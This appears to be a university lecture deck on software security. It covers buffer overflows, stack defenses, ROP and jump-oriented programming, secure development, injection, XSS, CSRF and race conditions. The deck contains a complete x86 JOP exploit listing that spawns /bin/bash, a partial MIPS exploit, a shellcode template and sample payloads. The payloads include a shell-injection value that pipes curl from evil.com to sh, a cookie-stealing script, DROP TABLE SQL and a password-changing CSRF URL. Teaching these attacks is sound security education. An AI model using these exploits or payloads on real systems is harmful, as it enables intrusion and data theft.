What is a Buffer Overflow?

- **Intent**
  - Arbitrary code execution
    - Spawn a remote shell or infect with worm/virus
  - Denial of service

- **Steps**
  - Inject attack code into buffer
  - Redirect control flow to attack code
  - Execute attack code
Buffer Problem: Data overwrite

```c
int main(int argc, char *argv[]) {
    char passwd_ok = 0;
    char passwd[8];
    strcpy(passwd, argv[1]);
    if (strcmp(passwd, "niklas")==0) {
        passwd_ok = 1;
    }
    if (passwd_ok) {
        ... 
    }
}
```

- **passwd** buffer overflowed, overwriting **passwd_ok** flag
  - Any password accepted!
Another Example: Code injection via function pointer

```c
char buffer[100];
void (*func)(char*) = thisfunc;
strcpy(buffer, argv[1]);
func(buffer);
```

- Problems?
  - Overwrite function pointer
    - Execute code arbitrary code in buffer
Stack Attacks: Code injection via return address

• When a function is called...
  ▪ parameters are pushed on stack
  ▪ return address pushed on stack
  ▪ called function puts local variables on the stack

• Memory layout

• Problems?
  ▪ Return to address X which may execute arbitrary code
include <stdlib.h>
#include <stdio.h>

int main() {
    char name[1024];
    printf("What is your name? ");
    scanf("%s", name);
    printf("%s is cool.\n", name);
    return 0;
}
Demo – normal execution

```
tkbletsc@davros:~/jop/examples/code-injection $ ./cool
What is your name? Tyler
Tyler is cool.
tkbletsc@davros:~/jop/examples/code-injection $ 
```
Demo – exploit

```
$ ./cool < attack
What is your name? Ph... hpeed... Phinghomet... Phren'... Phlear... Ph;1mYh [31.
You clearly aren't cut out for C. How about I start you off on something more your speed...
```

```bash
--2010-09-22 11:40:00-- http://www.python.org/ftp/python/2.7/Python-2.7.tar.bz2
Resolving www.python.org... 82.94.164.162, 2001:888:2000:d::a2
Connecting to www.python.org|82.94.164.162|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 11735195 (11M) [application/x-bzip2]
Saving to: 'Python-2.7.tar.bz2'

100%[==========================================]> 11,735,195 3.52M/s in 3.8s

2010-09-22 11:40:05 (2.97 MB/s) - `Python-2.7.tar.bz2' saved [11735195/11735195]
```
How to write attacks

• Use NASM, an assembler:
  ▪ Great for machine code and specifying data fields

```
attack.asm

%define buffer_size 1024
%define buffer_ptr 0xbffff2e4
%define extra 20

<<< MACHINE CODE GOES HERE >>>

; Pad out to rest of buffer size
times buffer_size-($-$) db 'x'

; Overwrite frame pointer (multiple times to be safe)
times extra/4   dd buffer_ptr + buffer_size + extra + 4

; Overwrite return address of main function!
dd buffer_location
```
Attack code trickery

• Where to put strings? No data area!
• You often can't use certain bytes
  ▪ Overflowing a string copy? No nulls!
  ▪ Overflowing a scanf %s? No whitespace!
• Answer: use code!
• Example: make "ebx" point to string "hi folks":
  push "olks" ; 0x736b6c6f="olks"
  mov ebx, -"hi f" ; 0x99df9698
  neg ebx ; 0x66206968="hi f"
  push ebx
  mov ebx, esp
Shellcode

• Code supplied by attacker
  • Often saved in buffer being overflowed
  • Traditionally transferred control to a user command-line interpreter (shell)

• Machine code
  • Specific to processor and operating system
  • Traditionally needed good assembly language skills to create
  • More recently a number of sites and tools have been developed that automate this process

• Metasploit Project
  • Provides useful information to people who perform penetration, IDS signature development, and exploit research
Figure 10.4 Program Loading into Process Memory
## Stack vs. Heap vs. Global attacks

- Book acts like they’re different; they are not

<table>
<thead>
<tr>
<th>Stack overflows</th>
<th>Non-stack overflows: heap/static areas</th>
</tr>
</thead>
<tbody>
<tr>
<td>• Data attacks, e.g. “is_admin” variable</td>
<td>• Data attacks, e.g. “is_admin” variable</td>
</tr>
<tr>
<td>• Control attacks, e.g. function pointers, <strong>return addresses</strong>, etc.</td>
<td>• Control attacks, e.g. function pointers, etc.</td>
</tr>
</tbody>
</table>
# Table 10.2

## Some Common Unsafe C Standard Library Routines

<table>
<thead>
<tr>
<th>Function</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>gets(char *str)</code></td>
<td>read line from standard input into str</td>
</tr>
<tr>
<td><code>sprintf(char *str, char *format, ...)</code></td>
<td>create str according to supplied format and variables</td>
</tr>
<tr>
<td><code>strcat(char *dest, char *src)</code></td>
<td>append contents of string src to string dest</td>
</tr>
<tr>
<td><code>strcpy(char *dest, char *src)</code></td>
<td>copy contents of string src to string dest</td>
</tr>
<tr>
<td><code>vsnprintf(char *str, size_t size, const char *format, va_list ap)</code></td>
<td>create str according to supplied format and variables</td>
</tr>
</tbody>
</table>

### Better:

- `fgets(char *s, int size, FILE *stream)`
- `snprintf(char *str, size_t size, const char *format, ...);`
- `strncat(char *dest, const char *src, size_t n)`
- `strncpy(char *dest, const char *src, size_t n)`
- `vsnprintf(char *str, size_t size, const char *format, va_list ap)`

Also dangerous: all forms of `scanf` when used with unbounded %s!
Buffer Overflow Defenses

• Buffer overflows are widely exploited

Two broad defense approaches

Compile-time
Aim to harden programs to resist attacks in new programs

Run-time
Aim to detect and abort attacks in existing programs
Compile-Time Defenses: Programming Language

- Use a modern high-level language
  - Not vulnerable to buffer overflow attacks
  - Compiler enforces range checks and permissible operations on variables

Disadvantages

- Additional code must be executed at run time to impose checks
- Flexibility and safety comes at a cost in resource use
- Distance from the underlying machine language and architecture means that access to some instructions and hardware resources is lost
- Limits their usefulness in writing code, such as device drivers, that must interact with such resources
Compile-Time Defenses: Safe Coding Techniques

- C designers placed much more emphasis on space efficiency and performance considerations than on type safety
  - Assumed programmers would exercise due care in writing code
- Programmers need to inspect the code and rewrite any unsafe coding
  - An example of this is the OpenBSD project
- OpenBSD code base: audited for bad practices (including the operating system, standard libraries, and common utilities)
  - This has resulted in what is widely regarded as one of the safest operating systems in widespread use
int copy_buf(char *to, int pos, char *from, int len)
{
    int i;
    for (i=0; i<len; i++) {
        to[pos] = from[i];
        pos++;
    }
    return pos;
}

(a) Unsafe byte copy

short read_chunk(FILE fil, char *to)
{
    short len;
    fread(&len, 2, 1, fil); ................................................. /* read length of binary data */
    fread(to, 1, len, fil); ................................................. /* read len bytes of binary data */
    return len;
}

(b) Unsafe byte input

Figure 10.10 Examples of Unsafe C Code
Compile-Time Defenses: Language Extensions/Safe Libraries

• Handling dynamically allocated memory is more problematic because the size information is not available at compile time
  o Requires an extension and the use of library routines
    • Programs and libraries need to be recompiled
    • Likely to have problems with third-party applications

• Concern with C is use of unsafe standard library routines
  o One approach has been to replace these with safer variants
    • Libsafe is an example
    • Library is implemented as a dynamic library arranged to load before the existing standard libraries
Compile-Time Defenses: Stack Protection

- Add function entry and exit code to check stack for signs of corruption
- Use random canary
  - Value needs to be unpredictable
  - Should be different on different systems
- Stackshield and Return Address Defender (RAD)
  - GCC extensions that include additional function entry and exit code
    - Function entry writes a copy of the return address to a safe region of memory
    - Function exit code checks the return address in the stack frame against the saved copy
    - If change is found, aborts the program
Preventing Buffer Overflows

• Strategies
  ▪ Detect and remove vulnerabilities (best)
  ▪ Prevent code injection
  ▪ Detect code injection
  ▪ Prevent code execution

• Stages of intervention
  ▪ Analyzing and compiling code
  ▪ Linking objects into executable
  ▪ Loading executable into memory
  ▪ Running executable
Run-Time Defenses: Guard Pages

• Place guard pages between critical regions of memory
  o Flagged in MMU as illegal addresses
  o Any attempted access aborts process

• Further extension places guard pages between stack frames and heap buffers
  o Cost in execution time to support the large number of page mappings necessary
W^X and ASLR

- W^X
  - Make code read-only and executable
  - Make data read-write and non-executable

- ASLR: Randomize memory region locations
  - Stack: subtract large value
  - Heap: allocate large block
  - DLLs: link with dummy lib
  - Code/static data: convert to shared lib, or re-link at different address
  - Makes absolute address-dependent attacks harder
Doesn't that solve everything?

- PaX: Linux implementation of ASLR & W^X
- Actual title slide from a PaX talk in 2003:

PaX
(http://pageexec.virtualave.net)

The Guaranteed End of Arbitrary Code Execution
Negating ASLR

• ASLR is a probabilistic approach, merely increases attacker’s expected work
  ▪ Each failed attempt results in crash; at restart, randomization is different

• Counters:
  ▪ Information leakage
    • Program reveals a pointer? Game over.
  ▪ Derandomization attack [1]
    • Just keep trying!
    • 32-bit ASLR defeated in 216 seconds

Negating $W^X$

- Question: do we need malicious code to have malicious behavior?

No.

<table>
<thead>
<tr>
<th>Code injection</th>
<th>Code reuse (!)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Address of attack code</td>
<td>Address of system()</td>
</tr>
<tr>
<td>RA</td>
<td>RA</td>
</tr>
<tr>
<td>frame pointer</td>
<td>frame pointer</td>
</tr>
<tr>
<td>locals</td>
<td>locals</td>
</tr>
<tr>
<td>Attack code (launch a shell)</td>
<td>Padding</td>
</tr>
<tr>
<td>Argument 1</td>
<td>Argument 2</td>
</tr>
</tbody>
</table>

"Return-into-libc" attack
Return-into-libc

• Return-into-libc attack
  ▪ Execute entire libc functions
  ▪ Can chain using “esp lifters”
  ▪ Attacker may:
    • Use system/exec to run a shell
    • Use mprotect/mmap to disable W^X
    • Anything else you can do with libc
  ▪ Straight-line code only?
    • Shown to be false by us, but that's another talk...
Arbitrary behavior with $W^X$?

- Question: do we need malicious code to have arbitrary malicious behavior?  
  No.

- Return-oriented programming (ROP)

- Chain together gadgets: tiny snippets of code ending in `ret`
- Achieves Turing completeness
- Demonstrated on x86, SPARC, ARM, z80, ...
  - Including on a deployed voting machine, which has a non-modifiable ROM
  - Recently! New remote exploit on Apple Quicktime\(^1\)

Return-oriented programming (ROP)

- Normal software:

- Return-oriented program:

Figures taken from "Return-oriented Programming: Exploitation without Code Injection" by Buchanan et al.
Some common ROP operations

- **Loading constants**
  - pop eax ; ret
  - 0x55555555

- **Control flow**
  - pop esp ; ret

- **Arithmetic**
  - add eax, ebx ; ret

- **Memory**
  - mov ebx, [eax] ; ret
  - 0x8070abcd (address)

Figures adapted from "Return-oriented Programming: Exploitation without Code Injection" by Buchanan et al.
Bringing it all together

- Shellcode
  - Zeroes part of memory
  - Sets registers
  - Does execve syscall

Figure taken from "The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)" by Shacham
Defenses against ROP

- ROP attacks rely on the stack in a unique way
- Researchers built defenses based on this:
  - ROPdefender\(^1\) and others: maintain a shadow stack
  - DROP\(^2\) and DynIMA\(^3\): detect high frequency \textit{rets}
  - Returnless\(^4\): Systematically eliminate all \textit{rets}

- So now we're totally safe forever, right?
- **No**: code-reuse attacks need not be limited to the stack and \textit{ret}!
  - See “Jump-oriented programming: a new class of code-reuse attack” by Bletsch et al. (covered in this deck if you’re curious)
Software security in general
Software Security, Quality and Reliability

• Software quality and reliability:
  o Concerned with the accidental failure of program as a result of some theoretically random, unanticipated input, system interaction, or use of incorrect code
  o Improve using structured design and testing to identify and eliminate as many bugs as possible from a program
  o Concern is not how many bugs, but how often they are triggered

• Software security:
  o Attacker chooses probability distribution, specifically targeting bugs that result in a failure that can be exploited by the attacker
  o Triggered by inputs that differ dramatically from what is usually expected
  o Unlikely to be identified by common testing approaches

Defending against idiots

Defending against attackers
Defensive Programming

- Programmers often make assumptions about the type of inputs a program will receive and the environment it executes in
  - Assumptions need to be validated by the program and all potential failures handled gracefully and safely

- Requires a changed mindset to traditional programming practices
  - Programmers have to understand how failures can occur and the steps needed to reduce the chance of them occurring in their programs

- Conflicts with business pressures to keep development times as short as possible to maximize market advantage
Secure-by-design vs. duct tape

- Security a consideration **from the start**
- Security woven into **each** component

**Good**
- No access restriction on host, just coarse limits on network access

**Bad**
- No firewall, but “it’s encrypted”
- Obsolete unsupported software w/o updates, but “it’s firewalled”
- No encryption between tiers because “it’s firewalled”
- “Temporary” admin access
- No access limits from middleware because “it’s firewalled”
Security runs through everything

- Can’t just have a separate team that “does software security”
  - They never get the power they need
  - They don’t write the code that will be broken
  - Security is an emergent property; can’t be added from outside

- Everyone developing a product must understand basic security concepts
  - Security team is there to test, advise, and provide training, not “add in the security”
What to do when you walk into a security mess
Fixing a mess: psychological steps

• If you don’t have **buy-in from top leadership**, YOU WILL PROBABLY FAIL
  ▪ Fight for the support you need (see next slide)
  ▪ If you can’t get it, consider leaving the company
  ▪ The saddest people I’ve known are security experts at insecure companies...they pretty much just log the existence of timebombs they don’t get to defuse.

• Acknowledge that:
  ▪ It will be painful
  ▪ Yes, adding security takes time away from feature work
  ▪ Devs may have to change their way of thinking
  ▪ There is a **trade-off** between security and usability

• Keep everyone remembering the **concrete real risks**
Fixing a mess: psychological steps:
How to convince an executive

- Words to use:
  - **Cost to fix vs. cost if unfixed**
  - Likelihood of risk & severity of risk
  - Cost to fix:
    - Human time
    - Opportunity cost of foregoing other features/fixes
  - Cost if unfixed:
    - Downtime
    - Loss of customer data
    - Damage to reputation
    - Actions of criminal attackers
    - Civil liability
    - Loss of sales
  - **Trade-off** against feature development and time-to-market
- If things are very toxic:
  - Negligence
  - Duty to report
  - Ethics board

- Words to avoid:
  - **Anything involving computers**

The executive mindset:
Maximize dollars
Change in dollars if we do X?
- Change in revenue
- Change in costs
- Opportunity cost
Fixing a mess: technical steps

**Low-hanging fruit:** Turn on and configure security features already available, and turn off dumb stuff:

- Use host-based firewalls
- Turn on encryption on protocols that support it (e.g. HTTP->HTTPS)
- Disable/uninstall unnecessary services
- Tighten permissions on all inter-communicating components (e.g. “your app doesn’t have to log into the database as root”)
- Install relevant security tools from elsewhere in the course (e.g. host/net-based IDS/IPS)
- Ensure there are no “fixed” passwords (e.g. every install of this app logs into its database with the password ‘9SIALfpY58jg’)
Fixing a mess: technical steps

Fixing processes:
- Make the build process smart and automated (if it isn’t already)
  - Code analysis tools (e.g. lint, style checker, etc.)
  - Automated testing (e.g. nightly build tests)
- Team dedicated to security test development and auditing
  - Separate from the main developers!
- Code reviews (fine grained, in-team)
- Code audits (coarse grained, separate team)
- Bad practice ratchets:
  - Yes there are 33 instances of `strcpy()` in the code, but there shall not be a single one more!
  - Enforce with automated code analysis at check-in
  - Cause code check-ins that violate the ratchet to FAIL – code literally doesn’t commit!
  - You must also have a team refactor the existing bad practices
    - Yes this could break old gnarly critical code, TOO BAD, that’s where the vulnerabilities are likeliest!
Fixing a mess: technical steps

Identifying specific flaws:

- Penetration testing/code audit
  - If getting a contractor, research a ton and spend *real money*
    - Idiot security auditors are extremely common
- Short-term bug bounty
  - Why not long term? Because developers will start getting sloppy to generate bounties

Long-term re-architecting:

- Redesign the product in accordance with the principles of this course
- Phase in the changes over time
- Tie these changes to feature improvements to prevent them being cut by future short-sightedness
Specific software security practices
Handling input

- Identify all data sources
- Treat all input as dangerous
  - Explicitly validate assumptions on size and type of values before use
    - Numbers in range? Integer overflow? Negatives? Floating point effects?
    - Input not too large? Buffer overflow? Unbounded resource allocation?
    - Text input includes non-text characters?
  - Unicode vs ASCII issues?
    - Unicode has invisible characters, text-direction changing characters, and more! Also, what about stupid emojis????
  - Any “special” characters? The need for quoting/escaping...
    - For files, is directory traversal allowed (../../thing)?
      - Common bug in web apps: ask for ../../etc/passwd or similar
    - Danger of injection attacks (next slide)
Injection attacks

• When input is used in some form of code.

• Examples:
  - SQL injection ("SELECT FROM mydata WHERE X=$input")
    • $input = "; DROP TABLE mydata"
  - Shell injection ("whois –H $domain")
    • $domain = "; curl http://evil.com/script | sh"
  - Javascript injection ("Welcome, $name!")
    • $name = "<script>send_cookie_to_evil_domain();</script>"

• Solutions:
  - Escape special characters (e.g. ‘;’, ‘<’, etc.)
    • Used tested library function to do this – don’t guess!!
  - For SQL: Use prepared statements
    • SQL integration library fills in variables instead of you doing it
  - Better solution for SQL: Use a Object-Relational Mapping
    • Library generates all SQL, no chance for an injection vulnerability
Validating Input Syntax

• It is necessary to ensure that data conform with any assumptions made about the data before subsequent use.

• Input data should be compared against what is wanted (**WHITE LIST**)

  \(^\text{Yes, this is reasonable.}\)

• Alternative is to compare the input data with known dangerous values (**BLACK LIST**)

  \(^\text{No, bad text book! This is dumb!}\)

*Use regular expressions for this!!*
Input Fuzzing

• Developed by Professor Barton Miller at the University of Wisconsin Madison in 1989

• Software testing technique that uses randomly generated data as inputs to a program
  - Range of inputs is very large
  - Intent is to determine if the program or function correctly handles abnormal inputs
  - Simple, free of assumptions, cheap
  - Assists with reliability as well as security

• Can also use templates to generate classes of known problem inputs
  - Disadvantage is that bugs triggered by other forms of input would be missed
  - Combination of approaches is needed for reasonably comprehensive coverage of the inputs
Cross Site Scripting (XSS) Attacks

• Attacks where input provided by one user is subsequently output to another user

• Common in scripted Web applications
  o Inclusion of script code in the HTML content
  o Script code may need to access data associated with other pages
  o Browsers impose security checks and restrict data access to pages originating from the same site

• Exploit assumption that all content from one site is equally trusted and hence is permitted to interact with other content from the site

• XSS reflection vulnerability
  o Attacker includes the malicious script content in data supplied to a site
Thanks for this information, its great!

(a) Plain XSS example

(b) Encoded XSS example

Figure 11.5 XSS Example
Cross-Site Request Forgery (CSRF)

- In HTTP, the ‘GET’ transaction should not have side effects. Per RFC 2616:
  
  "In particular, the convention has been established that the GET and HEAD methods SHOULD NOT have the significance of taking an action other than retrieval. These methods ought to be considered "safe"."

- When a web app has a GET request that has a side effect, anyone can link to it! Then...
  - Victim user follows link
  - Targeted site identifies victim user by cookie and assumes user intends to do the action expressed by the link

- Example from uTorrent client: Change admin password
  
  `http://localhost:8080/gui/?action=setsetting&s=webui.password&v=eviladmin`

- Fixes:
  - #1: GET urls shouldn’t do stuff
  - #2: Anything that does do stuff should have a challenge/response

Adapted from https://en.wikipedia.org/wiki/Cross-site_request_forgery
Race condition

- Exploit multi-processing to take advantage of transient states in code
- Common example: **Time Of Check to Time Of Use bug (TOCTOU)**

<table>
<thead>
<tr>
<th>Victim</th>
<th>Attacker</th>
</tr>
</thead>
</table>
| if (access("file", W_OK) != 0) {  
  exit(1);}  
fd = open("file", O_WRONLY);  
// Actually writing over /etc/passwd  
write(fd, buffer, sizeof(buffer)); |  
//  
// After the access check  
symlink("/etc/passwd", "file");  
// Before the open, "file" points to the password database  
//  
// |

- **How to exploit:** try a lot very fast, use debug facilities, etc.
- **Solutions:** Locking, transaction-based systems, drop privilege as needed

Environment variables

- Control a LOT of things implicitly
  - Examples:
    - PATH sets where named binaries are located
    - LD_PRELOAD forces a shared library to load no matter what, allowing overrides of standard functions (e.g. open/close/read/write)
    - HOME sets where the home directory is, so things writing to ~/whatever can be made to write elsewhere
    - IFS sets what characters are allowed to separate words in a command (wow, that’s tricky!)
  - Need to make sure attacker can’t change, especially when escalating privilege.
    - Example: If I have a legitimate setuid-root binary, but I can set PATH to my directory, then if that binary runs a program by name, it could be my version!
  - Solution: Drop all environment and set manually during privilege escalation process
    - See here for more.
```bash
#!/bin/bash
user=`echo $1 | sed 's/@.*$//'`
grep $user /var/local/accounts/ipaddrs
```

(a) Example vulnerable privileged shell script

```bash
#!/bin/bash
PATH="/sbin:/bin:/usr/sbin:/usr/bin"
export PATH
user=`echo $1 | sed 's/@.*$//'`
grep $user /var/local/accounts/ipaddrs
```

(b) Still vulnerable privileged shell script

^ Can still exploit IFS variable (e.g. make it include '=' so the PATH change doesn't happen)

Figure 11.6 Vulnerable Shell Scripts
Use of Least Privilege

- Privilege escalation
  - Exploit of flaws may give attacker greater privileges

- Least privilege
  - Run programs with least privilege needed to complete their function

- Determine appropriate user and group privileges required
  - Decide whether to grant extra user or just group privileges

- Ensure that privileged program can modify only those files and directories necessary
Software security miscellany

• #1: Error check ALL calls, even ones you think “can’t” fail
• All code paths must be planned for!
• Avoid information leakage (especially in debug output!)
• Be wary of “serialization” (conversion of data structures to streams)
  ▪ If data can include code (e.g. classes), bad input can yield arbitrary code
  ▪ Tons of reported bugs in serialization.
    • Java now considers the Serializable interface to have been a mistake!
• Consider ‘weird’ versions of common things:
  ▪ Weird files: FIFOs, device files, symlinks!
  ▪ Weird URLs: URLs can include any scheme, including the ‘data’ schema that embeds the content right in the URL
  ▪ Weird text: E.g., Unicode with all its extended abilities
  ▪ Weird settings: Can make normal environments act in surprising ways (e.g. changing IFS)
Backup slides:
My past research on code reuse attacks

“Jump-oriented Programming” (JOP)
Defenses against ROP

• ROP attacks rely on the stack in a unique way
• Researchers built defenses based on this:
  – ROPdefender\textsuperscript{[1]} and others: maintain a shadow stack
  – DROP\textsuperscript{[2]} and DynIMA\textsuperscript{[3]}: detect high frequency \texttt{rets}
  – Returnless\textsuperscript{[4]}: Systematically eliminate all \texttt{rets}

• So now we're totally safe forever, right?
• \textbf{No}: code-reuse attacks need not be limited to the stack and \texttt{ret}!
  – My research follows...
Jump-oriented programming (JOP)

- Instead of `ret`, use indirect jumps, e.g., `jmp eax`

- How to maintain control flow?
The dispatcher in depth

- Dispatcher gadget implements:
  \[ pc = f(pc) \]
  \[ \text{goto } *pc \]

- \( f \) can be anything that evolves \( pc \) predictably
  - Arithmetic: \( f(pc) = pc+4 \)
  - Memory based: \( f(pc) = *(pc+4) \)
Availability of indirect jumps (1)

- Can use `jmp` or `call` (don't care about the stack)
- When would we expect to see indirect jumps?
  - Function pointers, some switch/case blocks, ...?
- That's not many...

Frequency of control flow transfers instructions in glibc
Availability of indirect jumps (2)

- However: x86 instructions are **unaligned**
- We can find **unintended** code by jumping into the middle of a regular instruction!

\[
\text{add ebx, } 0x10ff2a \\
81 \text{ c3 2a ff 10 00} \\
\text{call [eax]}
\]

- Very common, since they start with 0xFF, e.g.
  - \(-1 = 0xFFFFFFFF\)
  - \(-1000000 = 0xFF0BDC0\)
Finding gadgets

• Cannot use traditional disassembly,
  – Instead, as in ROP, scan & walk backwards
  – We find 31,136 potential gadgets in libc!

• Apply heuristics to find certain kinds of gadget

• Pick one that meets these requirements:
  – **Internal integrity:**
    • Gadget must not destroy its own jump target.
  – **Composability:**
    • Gadgets must not destroy subsequent gadgets' jump targets.
Finding dispatcher gadgets

- Dispatcher heuristic:
  - The gadget must act upon its own jump target register
  - Opcode can't be useless, e.g.: inc, xchg, xor, etc.
  - Opcodes that overwrite the register (e.g. mov) instead of modifying it (e.g. add) must be self-referential
    - lea edx, [eax+ebx] isn't going to advance anything
    - lea edx, [edx+esi] could work

- Find a dispatcher that uses uncommon registers
  add ebp, edi
  jmp [ebp-0x39]

- Functional gadgets found with similar heuristics
Developing a practical attack

• Built on Debian Linux 5.0.4 32-bit x86
  – Relies solely on the included libc

• Availability of gadgets (31,136 total): PLENTY
  – Dispatcher: 35 candidates
  – Load constant: 60 pop gadgets
  – Math/logic: 221 add, 129 sub, 112 or, 1191 xor, etc.
  – Memory: 150 mov loaders, 33 mov storers (and more)
  – Conditional branch: 333 short adc/sbb gadgets
  – Syscall: multiple gadget sequences
The vulnerable program

- **Vulnerabilities**
  - String overflow
  - Other buffer overflow
  - String format bug

- **Targets**
  - Return address
  - Function pointer
  - C++ Vtable
  - Setjmp buffer
    - Used for non-local gotos
    - Sets several registers, including esp and eip
The exploit code (high level)

- Shellcode: launches `/bin/bash`
- Constructed in NASM (data declarations only)
- 10 gadgets which will:
  - Write null bytes into the attack buffer where needed
  - Prepare and execute an `execve` syscall
- Get a shell without exploiting a single `ret`:

```
sh$ ./vulnerable "`cat exploit.bin`"
Starting bash...
bash$
```
The full exploit (1)

```
1 start:
2 ; Constants:
3 libc:         equ 0xb7e7f000 ; Base address of libc in memory
4 base:         equ 0x0804a008 ; Address where this buffer is loaded
5 base_mangled: equ 0x1d4011ee ; 0x804a008 = mangled address of this buffer
6 initializer_mangled: equ 0x43ef491 ; 0xb7e81f7a = mangled address of initializer gadget
7 dispatcher:   equ 0xb7fa4e9e ; Address of the dispatcher gadget
8 buffer_length: equ 0x100 ; Target program's buffer size before the jmpbuf.
9 shell:        equ 0xbffff8eb ; Points to the string "/bin/bash" in the environment
10 to_null:     equ libc+0x7 ; Points to a null dword (0x00000000)

; Start of the stack. Data read by initializer gadget "popa":
12 popa0_edi:   dd -4 ; Delta for dispatcher; negative to avoid NULLs
13 popa0_esi:   dd 0xaaaaaaaa
14 popa0_ebp:   dd base+g_start+0x39 ; Starting jump target for dispatcher (plus 0x39)
15 popa0_esp:   dd 0xaaaaaaaa
16 popa0_ebx:   dd base+to_dispatcher+0x3e; Jumpback for initializer (plus 0x3e)
17 popa0_edx:   dd 0xaaaaaaaa
18 popa0_ecx:   dd 0xaaaaaaaa
19 popa0_eax:   dd 0xaaaaaaaa

; Data read by "popa" for the null-writer gadgets:
22 popa1_edi:   dd -4 ; Delta for dispatcher
23 popa1_esi:   dd base+toDispatcher ; Jumpback for gadgets ending in "jmp [esi]"
24 popa1_ebp:   dd base+g00+0x39 ; Maintain current dispatch table offset
25 popa1_esp:   dd 0xaaaaaaaa
26 popa1_ebx:   dd base+new_eax+0x17bc0000+1 ; Null-writer clears the 3 high bytes of future eax
27 popa1_edx:   dd base+to_dispatcher ; Jumpback for gadgets ending "jmp [edx]"
28 popa1_ecx:   dd 0xaaaaaaaa
29 popa1_eax:   dd -1 ; When we increment eax later, it becomes 0
30

; Data read by "popa" to prepare for the system call:
32 popa2_edi:   dd -4 ; Delta for dispatcher
33 popa2_esi:   dd base+esi_addr ; Jumpback for "jmp [esi+K]" for a few values of K
34 popa2_ebp:   dd base+g07+0x39 ; Maintain current dispatch table offset
35 popa2_esp:   dd 0xaaaaaaaa
36 popa2_ebx:   dd shell ; Syscall EBX = 1st execve arg (filename)
37 popa2_edx:   dd to_null ; Syscall EDX = 3rd execve arg (envp)
38 popa2_ecx:   dd base+to_dispatcher ; Jumpback for "jmp [ecx]"
39 popa2_eax:   dd to_null ; Swapped into ECX for syscall. 2nd execve arg (argv)
40```

The full exploit (2)

```
; End of stack, start of a general data region used in manual addressing
42 dd dispatcher    ; Jumpback for "jmp [esi-0xf]"
43 times 0xB db 'X'  ; Filler
44 esi_addr: dd dispatcher  ; Jumpback for "jmp [esi]"
45 dd dispatcher    ; Jumpback for "jmp [esi+0x4]"
46 times 4 db 'Z'   ; Filler
47 new_eax: dd 0XE6EEE0b ; Sets syscall EAX via [esi+0xc]; BE bytes will be cleared
48
; End of the data region, the dispatch table is below (in reverse order)
50 g0a: dd 0xb7fe3419  ; sysenter
51 g09: dd libc+0x1a30d ; mov eax, [esi+0xc] ; mov [esp], eax ; call [esi+0x4]
52 g08: dd libc+0x136460; xchg ecx, eax   ; fdiv st, st(3) ; jmp [esi-0xf]
53 g07: dd libc+0x137375 ; popa          ; cmc ; jmp far dword [ecx]
54 g06: dd libc+0x14e168 ; mov [ebx-0x17bc0000], ah ; stc ; jmp [edx]
55 g05: dd libc+0x14748d ; inc ebx       ; fdivr st(1), st ; jmp [edx]
56 g04: dd libc+0x14e168 ; mov [ebx-0x17bc0000], ah ; stc ; jmp [edx]
57 g03: dd libc+0x14748d ; inc ebx       ; fdivr st(1), st ; jmp [edx]
58 g02: dd libc+0x14e168 ; mov [ebx-0x17bc0000], ah ; stc ; jmp [edx]
59 g01: dd libc+0x14734d ; inc eax       ; fdivr st(1), st ; jmp [edx]
60 g00: dd libc+0x1474ed; popa          ; fdivr st(1), st ; jmp [edx]
61 g_start: ; Start of the dispatch table, which is in reverse order.
62 times buffer_length - ($-start) db 'X' ; Pad to the end of the legal buffer
63
; LEGAL BUFFER ENDS HERE. Now we overwrite the jmpbuf to take control
66 jmpbuf_ebx: dd 0xaaaaaaaa
67 jmpbuf_esi: dd 0xaaaaaaaa
68 jmpbuf edi: dd 0xaaaaaaaa
69 jmpbuf ebp: dd 0xaaaaaaaa
70 jmpbuf esp: dd base_mangled ; Redirect esp to this buffer for initializer’s "popa"
71 jmpbuf_eip: dd initializer_mangled ; Initializer gadget: popa ; jmp [ebx-0x3e]
72 to dispatcher: dd dispatcher ; Address of the dispatcher: add ebp,edi ; jmp [ebp-0x39]
74 dw 0x73 ; The standard code segment; allows far jumps; ends in NULL
```
Discussion

• Can we automate building of JOP attacks?
  – Must solve problem of complex interdependencies between gadget requirements

• Is this attack applicable to non-x86 platforms?  
  A: Yes

• What defense measures can be developed which counter this attack?
The **MIPS** architecture

- **MIPS**: very different from x86
  - Fixed size, aligned instructions
    - No unintended code!
  - Position-independent code via indirect jumps
  - Delay slots
    - Instruction after a jump will always be executed

**We can deploy JOP on MIPS!**

- Use intended indirect jumps
  - Functionality bolstered by the effects of delay slots
- Supports hypothesis that JOP is a *general* threat
MIPS exploit code (high level overview)

- Shellcode: launches /bin/bash
- Constructed in NASM (data declarations only)
- 6 gadgets which will:
  - Insert a null-containing value into the attack buffer
  - Prepare and execute an execve syscall
- Get a shell without exploiting a single jr ra:
MIPS full exploit code (1)

```assembly
; ====== CONSTANTS ======
#define libc 0x2aada000 ; Base address of libc in memory.
#define base 0x7fff780e ; Address where this buffer is loaded.
#define initializer libc+0x103d0c ; Initializer gadget (see table below for machine code).
#define dispatcher libc+0x63fc8 ; Dispatcher gadget (see table below for machine code).
#define buffer_length 0x100 ; Target program's buffer size before the function pointer.
#define to_null libc+0x8 ; Points to a null word (0x00000000).
#define gp 0x4189d0 ; Value of the gp register.

; ====== GADGET MACHINE CODE =====

| Initializer/pre-syscall gadget | Dispatcher gadget | Syscall gadget | Gadget "g04"
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>lw v0,44(sp)</td>
<td>addu v0,a0,v0</td>
<td>syscall</td>
<td>sw a1,44(sp)</td>
</tr>
<tr>
<td>lw t9,32(sp)</td>
<td>lw v1,0(v0)</td>
<td>lw t9,-27508(gp)</td>
<td>sw zero,24(sp)</td>
</tr>
<tr>
<td>lw a0,128(sp)</td>
<td>nop</td>
<td>nop</td>
<td>sw zero,28(sp)</td>
</tr>
<tr>
<td>lw a1,132(sp)</td>
<td>addu v1,v1,gp</td>
<td>jalr t9</td>
<td>addiu a1,sp,44</td>
</tr>
<tr>
<td>lw a2,136(sp)</td>
<td>jr v1</td>
<td>li a0,60</td>
<td>jalr t9</td>
</tr>
<tr>
<td>sw v0,16(sp)</td>
<td>nop</td>
<td></td>
<td>addiu a3,sp,24</td>
</tr>
<tr>
<td>jalr t9</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>move a3,s8</td>
<td></td>
<td></td>
